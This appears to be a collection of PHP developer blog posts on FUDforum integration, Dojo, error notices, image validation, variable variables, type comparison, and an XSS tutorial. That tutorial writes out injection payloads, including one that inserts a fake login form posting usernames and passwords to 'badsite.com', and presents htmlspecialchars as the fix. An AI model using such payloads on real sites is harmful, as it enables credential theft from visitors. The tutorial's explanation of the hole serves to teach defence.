Back Story

It seems forums have sort of lost their luster for many; I remember when having a website meant having a forum. At that time it seemed every contract I landed, some portion of the job consisted of integrating a forum into a site. I always hated this job, because at the time PHPBB was the forum of choice and it seemed that there was no ‘right’ way to do it, I had simply developed a bunch of hacks which needed to be scattered around the PHPBB code base and even when complete it was still just a bunch of hacks.

As time moved on, the demand for forums became less and less and I had not done a forum integration in many years. That was until I went to my local PHP users group and ended up with a contract to do a forum integration. I really was not looking forward to the project, but it was a part of a larger job and I’m not one to turn down work.

Luckily the other members of the group convinced the client to use FUDforum developed by Ilia Alshanetsky. I had looked into FUDforum before, had used it as a member of different sites, and assumed the code to be a higher quality simply because of who wrote it, but had never written any code to interact with it.

On Wednesday, the night before I was to do the forum integration I began reading the documentation and planning how I was going to accomplish this task as easily and painlessly as possible. Looking at the sidebar navigation on the documentation wiki, I was surprised to see the heading ‘Integration‘ two clicks later, a quick scan of two different pages, and I knew exactly what needed to be done.

After a few hours of work Thursday morning I had written a script which created accounts in the forums for existing members, I also altered the sign up, login, and logout code of the main site. With these changes the forums were basically integrated into the site, which brings me to the new tutorial series I will be posting over the next week.

Integrating FUDforum

Part 1: Introducing your site to FUD

I have been working with this client of a few years now and have a great rapport with them. For this most recent project they have no requirements about which JavaScript library to use just as long as it has the functionality which is required by the project. This left me in a little bit of a dilemma, which JavaScript library should I use?

I have tried many libraries in the past and had used the Yahoo! User Interface Library (YUI) extensively for a previous project. Although it’s a good library I have had the urge to try out Dojo. I first learned about the library when it came coupled with the Zend Framework. After a few small personal projects I never really used either again.

Doing a little research on Dojo‘s current capabilities and verifying that it has the functionality required for my project, I have decided to use Dojo and document my experience here. I’m hoping that even if you currently use a different JavaScript library that this set of posts will inspire you to try something new for a change.

My first task will be to build something similar to the ‘Suggest’ functionality on Google. This afternoon I attempted to find a good tutorial explaining how this is accomplished in Dojo, but could not locate exactly what I wanted. The problem seems to be that all the combo box / auto complete tutorials for dojo create a select menu rather than a simple text box and since this is going to be implemented for a search engine the select menu option is not actually an option. (Get it ‘select menu’, ‘option’…programming humor my wife loves it.)

Over the next few days I will be working on this project and will have one or two more posts detailing how I implement the functionality. If anyone has not heard of Dojo or has never used it here are a few links to get you started.

Dojo Links

• Homepage
• Download
• Documentation
• Hello World Tutorial

My next post will assume you already have Dojo installed and have worked through the ‘Hello World’ tutorial. Here are some brief notes about installing Dojo.

Dojo Installation

When installing Dojo you have three options

• Load the toolkit directly from AOL’s Content Distribution Network (CDN) or from the CDN of Google.
• Download and store the toolkit on your server
• Checkout a copy from the SVN repository (maybe not the greatest idea if your implementing on a live site)

I believe the first two options are completely viable for a live website and each have their pros and cons. I choose to download the toolkit and keep it on my server. The upside is that since I have the files locally I can open them up and browse through the code whenever I would like (you can learn a lot this way).

In my opinion…

When attempting to update an existing site with the newest gadgets available, it is best to take slowly. Implement a few updates at a time, without forcing the users to change the way they use the site. The response received from the users will tell you what is worth it and when you’ve gone too far.

I completely disagree with this point of view. If I write code which is not intended to generate Notices, then as the developer I want to know if and when Notices are being generated in any environment.

Notices are very helpful in tracking down logical errors or bugs, which cause the script not to function as expected. In PHP they are normally generated when using a previously undeclared variable. Technically speaking there is nothing wrong with this in PHP, other programming languages are not so forgiving.

I personally started declaring all variables when I began to focus on the security implications of using undeclared variables (we’ll save that information for another post). After getting in the habit I found that I was able find logical errors during development even before I noticed that a bug existed. After realizing this, I now never release code which is know to generate notices. I have also started setting error reporting to E_ALL in all environments.

I understand that this is not feasible for everyone. It may not be possible in a professional working environment because of dealing with legacy code. Another issue could arise if you use third-party code which has not subscribed to this way of thinking. Although personally, I feel this is not an excuse there is no reason you can’t get in there and ‘fix’ their script.

A word of warning

I was once hired to fix numerous bugs on a site, all were a fairly obvious fix, but one in particular had me stumped. I turned on notices when attempting to debug the problem and ended up with an error log that contained over 250 notices for every page load. Since this was a dev environment setup by the client for my use, it was no big deal, but if it were a heavily trafficked live site, there could have been some serious implications.

While writing some validation code I came across this “trick” which can be used to determine if a file is an image file: Send the uploaded file through getimagesize() and check the return values.

As the PHP Manual states:

PHP Manual

The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.

If PHP cannot access the file or the file is not an image, the function will generate an E_WARNING error, and return boolean FALSE. The E_WARNING error can be suppressed by using the error suppression operator ‘@’. As long as you know that the file is accessible to PHP (which it should be if PHP uploaded the file) and the function does not return FALSE, then you have a valid image file.

I first leaned about this method from the book php|architect’s Guide to PHP Security by Ilia Alshanetsky.

First I would like to say that I like the look of the new manual; it seems cleaner with well defined areas. For example on a function description page the description, parameters, return values, errors/exceptions, and examples all appear in their own ‘box’ (div tag) with a light blue background. This definitely makes it easier to locate what your look for and generally gives a nice presentation of the information.

My two gripes about the new manual are fairly petty. I think it is a case of ‘Who moved my cheese‘, instead of actual issues with the manual.

Gripe 1: There is too much spacing between items in the unordered lists.

Looking at what I believe to be the CSS styling for the ‘li’ tags, they have added a top and bottom padding of 3 pixels (6 pixels between each line). Although this makes for good separation between each item it also makes the pages longer and consequently more scrolling.

Gripe 2: The new navigation system, specifically in two areas:

• The index page of the manual. The old index page, was basically like an extended table of contents. It listed the sections of the manual along with the major subsections. This was always my starting point. You may not find exactly what your looking for in the first click but you knew where you wanted to go. The new index page, contains the list of sections in the left-hand navigation bar, but the page does not list any subsections. New users of the language I believe will find it more difficult to locate the information they need simply because they may not know exactly what their looking for. Now, of course, users already familiar with the language will still be able to find what there looking for but it will take more clicks to get where your going, specifically for the function reference section…
• In the old manual when you viewed the function reference section you were presented with a long alphabetized list of groups of functions; Arrays, MySQL, Strings, etc. Now they have grouped the groups; array functions are listed below ‘Variable and Type Related Extensions’, string functions are listed below ‘Text Processing’ and MySQL functions aren’t actually listed on the page, they are under ‘Database Extensions->Vendor Specific Database Extensions->MySQL’. Now I am all for more organization, but by grouping the groups the function reference is no longer alphabetized and the added clicks needed to get to the section you want I feel is not a bonus.
• This also comes into play after you have chosen the section you want. For example, in the old manual you could be looking at the array functions, find what you need, and just leave the browser open to the array functions page while you went back to work. Then after a bit more work, if you needed to look at the string functions, you could simply click the ‘string’ functions link in navigation bar and be there in one click. This is not possible in the new manual…Given the same situation you always need to go back to the main function reference page and start drilling down from there.

I don’t want this to come off as a bashing of the new manual, these are minor issues and I probably just need to get used to the new setup. So now that you read my review, let us know what you think of the new manual.

While visiting he was in the middle of writing a small script which queried articles out of a database and displayed them according to the categories they were assigned to. Everything was working correctly, but the processing time was slower than he would like. He asked if I could take a look and see if anything could be done to speed things up. While optimizing some of the PHP and SQL code; I was showing him different functions which are built into PHP and MySQL, (these functions will always execute faster than the ones you write yourself).

As I was standing over his shoulder pointing out the different problematic areas, he asked me how I was able to keep all that information in my head. I simply replied that it is my job, it’s what I get paid to do. After going back and forth, what he actually wanted to know was how I memorized all the different functions, which parameters they accept, and in what order. This is not the first time I have been asked this question so I decided to actually think about how it all happened.

I once read the book ‘On Writing’ (by Stephen King), it is a book about how to become a writer. I don’t really remember a lot about the book, but I do remember one thing. He said that if you want to be a writer, you need to write everyday. It does not have to be anything great, just write something. I attempted to do this, but it became a chore and I soon stopped writing.

After thinking about the question my friend asked (I admit I have a horrible memory) but just like King said, do it everyday. I learned PHP simply by writing code everyday, by using PHP constantly, and little by little things sink in and stay. I never sat down with the manual and made an effort to memorize things, it just naturally happened over a period of time.

When I first started, I remember the fascination I had with writing something that made a computer do what I wanted. It was almost like an addiction, once I got it to do one thing, I wanted write something more complicated. Granted over the years it takes more, but I am now writing more complicated code and when it works, I get that same feeling.

So if you want to become a coder that is able to write scripts off the top of your head, or be able to ‘see’ the code before you even begin, do it everyday. It does not have to be ground breaking or a completely new idea, just write something. If you find that writing code everyday becomes a chore, then you may want to try your hand at something else, maybe become an author.

One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)

We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:

PHP Manual:
A variable variable takes the value of a variable and treats that as the name of a variable.

Let’s see if we can add a little more to it… A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.

Not sure if that is any clearer, so lets go to some code so we can see it in action, then I’m sure everyone will understand.

<?php
$site = "NULL";
$ring = "NULL";
$plug = "NULL";
 
$entity_1 = "site";
$entity_2 = "plug";
$id_1     = 54;
$id_2     = 78;
 
$$entity_1 = $id_1;
$$entity_2 = $id_2;
 
echo "site: ".$site."<br />";
echo "ring: ".$ring."<br />";
echo "plug: ".$plug."<br />";
?>

When this code is run it will print:
site: 54
ring: NULL
plug: 78

Notice the two dollar signs ($$) in front of the second occurrence of the variables ‘entity_1′ and ‘entity_2′, these are the variable variables. Since the value of the variable $entity_1 is ‘site’ when PHP parses:

$$entity_1 = $id_1;

it reads:
$site = $id_1;
The same also happens for $$entity_2.

That’s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this feature of PHP be used?

First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:

Sometimes it is convenient to be able to have variable variable names.

The keyword here being: convenient (as in ‘not necessary’).

The most recent situation where I used variable variables was this:
I was writing a function which managed the data in a database correlation table. The table had three columns: ‘site_id’, ‘ring_id’, and ‘plug_id’.

The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)

That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:

function create($site_id,
                $ring_id,
                $plug_id)

The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table.

Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL):

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
}

Without some checking the function did not ‘know’ which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
 
    $$entity_1 = $id_1;
    $$entity_2 = $id_2;
 
    return create($site, $ride, $plug);
}

Again variable variables were not needed in this situation I could have used ‘switch’ or ‘if’ statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.

BTW – If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.

One of the best resources is the PHP Security Consortium, where you can find the PHP Security Guide. It is published in three different formats (HTML, PDF, DocBook Lite) and four different languages (English, French, Romanian, Serbian). They also publish their own articles and have a links library to numerous articles on other sites.

The founder of the PHP Security Consortium is Chris Shiflett, who has published a few books (including Essential PHP Security). He, of course, also has his own website where you will find the PHP & Web Application Security Blog along with numerous articles. While gathering the links for this post, I found an excellent article about XSS (Foiling Cross-Site Attacks).

Another well-known PHP security expert is Ilia Alshanetsky, creator of FUDforum. He has published php|architect’s Guide to PHP Security, and runs his own blog.

If you haven’t yet heard about the Hardened-PHP Project, it is well worth checking out. There you will find Suhosin, an advanced protection system for PHP installations. Also the Hardening patch, a patchset that adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within those applications or the PHP core itself. This is also the team that brought us the Month of PHP Bugs in March ’07.

An outspoken member of the Hardened-PHP Project is Stefan Esser, formerly a member of the php.net’s Security Response Team. Stefen Esser used to have the most active PHP security blog (PHP Security Blog), but for unknown reasons the blog has not been updated for several months.

I know there are numerous other PHP security resources on the net, but I am hoping that these links will help get you started on finding quality PHP security resources. If anyone has other sources which you frequently use please post the URL in a comment.

<input type="text" name="order" value="<?php echo $_POST['order']; ?>" />

Basically the question was: What is wrong with this code? I didn’t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP.

Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited. It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.

OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is:

<em>hello</em>

When the form is submitted the code will simply print:

<em>hello</em>

in the text box.

This is true, but the problem is; what happens when someone enters:

watch it grow" size="100

When this value is printed in the text box, the browser ‘sees’ the quote following: watch it grow and ends the ‘value’ attribute. The browser then adds a ‘size’ attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:

<input type="text" name="order" value="watch it grow" size="100" />

Now we know that simply adding a ” (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:

click here” onclick=”alert(‘hello’);

Now the code interpreted by the browser looks like this:

<input type="text" name="order" value="click here" onclick="alert('hello');" />

After the form is submitted the value in the text box reads: click here. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: ‘hello’.

Taking this exploit one step further, with one final example. The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the ‘value’ attribute with the ” (quote) and then add the end of the input tag: /> and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let’s add:

Fill out form completely" disabled/></form><form method="POST" action="http://badsite.com">Username: <input type="text" name="username"><br/>Password:<input type="password" name="user_pass"><br/><input type="hidden" name="end_input" value="

With this code we start with: Fill out form completely”
The ” (quote) following the word ‘completely’ will end the ‘value’ attribute.

We then place: disabled/>
This will disable the “order” input and end the tag, now we are in the realm of adding HTML.

Next by adding: </form>
We have ended the form, and are able to create something new.

As you can see we have added our own form which submits the user’s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.

To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):

  <input type="text" name="order" value="Fill out form completely" disabled/>
</form>
<form method="POST" action="http://badsite.com">
  Username:
  <input type="text" name="username"/>
  <br />
  Password:
  <input type="password" name="user_pass"/>
  <br />
  <input type="hidden" value=""/>

Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply NOT true, but you will have to do the research yourself if you still don’t believe that this is a security hole (or you have ideas of cracking a few sites. )

So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: htmlspecialchars().

htmlspecialchars() converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:

<input type="text" name="order" value=" <?php echo htmlspecialchars($_POST['order']); ?> " />

This is only one way to ‘fix’ the problem and may not work in all situations; some other methods of preventing an XSS attack are:

• Use an exclusion approach with strip_tags().
• Use regular expressions to filter any data which may not have been caught by the built-in functions.
• Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.

I believe the best defense is a combination of a few different strategies.

XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: “PHP XSS exploits tutorials”. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.

I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this:

A $_POST value could either be 0 (zero) or a text string. If incoming value was 0 (zero) that meant a new record needed to be inserted in the database, if it was a text string then the record already existed in the database and needed to be updated. Consequently he wrote his comparison statement like this:

<?php
 
if ($_POST["id"] == 0) {
    //insert db record
}
else {
    //update db record
}
 
?>

Everything looked fine to him, but no matter what value was passed in the $_POST variable the comparison statement evaluated to TRUE, meaning a new record was inserted into the database.

If you want to check it out yourself run this code:

<?php
 
$_POST["id"] = "0";
 
if ($_POST["id"] == 0) {
    echo "insert db record / ";
}
else {
    echo "update db record / ";
}
 
$_POST["id"] = "string of text";
if ($_POST["id"] == 0) {
    echo "insert db record";
}
else {
    echo "update db record";
}
 
?>

If you run the code above it will print: ‘insert db record / insert db record’.

Now this is a bad comparision to begin with, since all values coming from $_POST are a string of text; but that was not the problem he was experiencing.

Why does “string of text” equal zero in the second comparision statement?…. because of TYPES, of course.

In the both comparison statements we are comparing a string and an integer, since we did not use the Identical comparison operator (===), PHP converts the string to an integer before making the comparison. This means it is the same as casting the string as an integer then making the comparison; such as:

<?php
 
$_POST["id"] = "string of text";
$_POST["id"] = (int)$_POST["id"];
 
if ($_POST["id"] == 0) {
    echo "insert db record";
}
else {
    echo "update db record";
}
 
?>

When casting “string of text” as an integer “string of text” becomes 0 (zero). Check it out:

<?php
 
$_POST["id"] = "string of text";
$_POST["id"] = (int)$_POST["id"];
 
var_dump($_POST["id"]);
 
?>

The above code will print: “int(0)”.

So how do we get this comparison to evaluate as intended? We cannot use the Identical (===) comparison operator, because as I said before, everything coming from $_POST is a string. This means we would have the same problem in reverse. The comparison would always evaluate to FALSE, and it would attempt to update records that do not exist. What we need is for PHP to evaluate both operands as strings, this can be accomplished two ways. Either by placing quotes around the 0 (zero) making it a string, or casting the 0 (zero) as a string. Such as:

<?php
 
if ($_POST["id"] == "0") {
    //insert db record
}
else {
    //update db record
}
 
if ($_POST["id"] == (string)0) {
    //insert db record
}
else {
    //update db record
}
 
?>

Personally I think the first example is more appropriate, if you want to compare 0 (zero) as a string just write it as a string. I simply provided the casting example because we have previously discussed casting.

If you would like to know more about Types in PHP you can read my previous post: Variable Types – Why Care? and follow the links at the bottom of the article.